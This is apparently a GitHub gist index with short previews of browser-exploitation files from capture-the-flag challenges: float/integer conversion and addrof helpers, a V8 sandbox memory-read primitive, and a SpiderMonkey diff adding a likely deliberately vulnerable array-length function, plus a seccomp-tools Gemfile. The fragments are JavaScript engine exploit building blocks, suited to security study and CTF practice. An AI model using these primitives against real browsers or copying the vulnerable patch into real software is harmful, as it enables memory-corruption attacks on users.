View kitctfctf-2022_date.1.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let buf = new ArrayBuffer(8); | |
let f64 = new Float64Array(buf); | |
let i32 = new Uint32Array(buf); | |
let i64 = new BigUint64Array(buf); | |
const ftoi = x => { | |
f64[0] = x; | |
return i64[0]; | |
}; |
View hitcon-ctf-2022_fourchain-hole.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var buf = new ArrayBuffer(8); | |
var f64 = new Float64Array(buf); | |
var i64 = new BigUint64Array(buf); | |
const ftoi = x => { | |
f64[0] = x; | |
return i64[0]; | |
}; | |
const itof = x => { |
View blaze.diff
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
diff --git a/js/src/builtin/Array.cpp b/js/src/builtin/Array.cpp | |
index 2b6d8953c523..fa60ef14f1ec 100644 | |
--- a/js/src/builtin/Array.cpp | |
+++ b/js/src/builtin/Array.cpp | |
@@ -206,6 +206,20 @@ bool js::GetLengthProperty(JSContext* cx, HandleObject obj, uint64_t* lengthp) { | |
return ToLength(cx, value, lengthp); | |
} | |
+static MOZ_ALWAYS_INLINE bool BlazeSetLengthProperty(JSContext* cx, | |
+ HandleObject obj, |
View dataview_offset.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const addrof = o => { | |
return Sandbox.getAddressOf(o); | |
}; | |
const weak_read = p => { | |
let reader = new Sandbox.MemoryView(p, 64); | |
let view = new DataView(reader); | |
return view.getBigUint64(0, true); | |
}; |
View Gemfile
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
source 'https://rubygems.org' do | |
gem 'seccomp-tools' | |
end |